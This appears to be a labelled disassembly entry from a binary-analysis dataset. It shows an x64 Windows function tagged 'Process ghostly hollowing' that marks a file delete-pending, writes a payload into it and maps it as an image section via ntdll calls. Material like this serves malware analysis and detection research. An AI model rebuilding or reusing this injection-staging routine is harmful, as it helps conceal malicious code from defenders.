Function at 0x140011195
Capabilities:
Process ghostly hollowing
Set file attributes
Write file on windows

Disassembly:
jmp 0x140019130
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x228]
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x1400330f9]
call fcn.140011839
mov rcx, qword [rbp + 0x1d0]
call fcn.14001110e
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400191a1
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x1400191fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x1a4], eax
lea rdx, str.Failed_to_create_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
lea rdx, [0x140011019]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov ecx, dword [rbp + 0x1a4]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x14001942d
mov dword [rbp + 0x24], 0
lea rax, [rbp + 0x48]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rbp + 0x74]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov byte [rbp + 0x74], 1
mov dword [rsp + 0x20], 0xd
mov r9d, 1
lea r8, [rbp + 0x74]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtSetInformationFile]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x14001929b
lea rdx, str.Setting_information_failed:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
lea rdx, [0x1400117ad]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x24]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140026e68]
mov rcx, rax
call fcn.140011104
mov rax, 0xffffffffffffffff
jmp 0x14001942d
lea rdx, str.___Information_set_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
mov dword [rbp + 0x98], 0
lea rax, [rbp + 0x9c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x98]
mov qword [rsp + 0x38], rax
mov eax, dword [rbp + 0x1e0]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtWriteFile]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jge 0x140019374
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xb4], eax
lea rdx, str.Failed_writing_payload__Error:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
lea rdx, [0x1400117ad]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0xb4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x14001942d
lea rdx, str.___Written__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011104
mov qword [rbp + 0xd8], 0
mov rax, qword [rbp + 8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0xd8]
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
je 0x140019414
lea rdx, str.NtCreateSection_failed:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140011104
lea rdx, [0x1400117ad]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x24]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, 0xffffffffffffffff
jmp 0x14001942d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 8], 0
mov rax, qword [rbp + 0xd8]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400263e0]
call fcn.1400116fe
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.14001140b
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret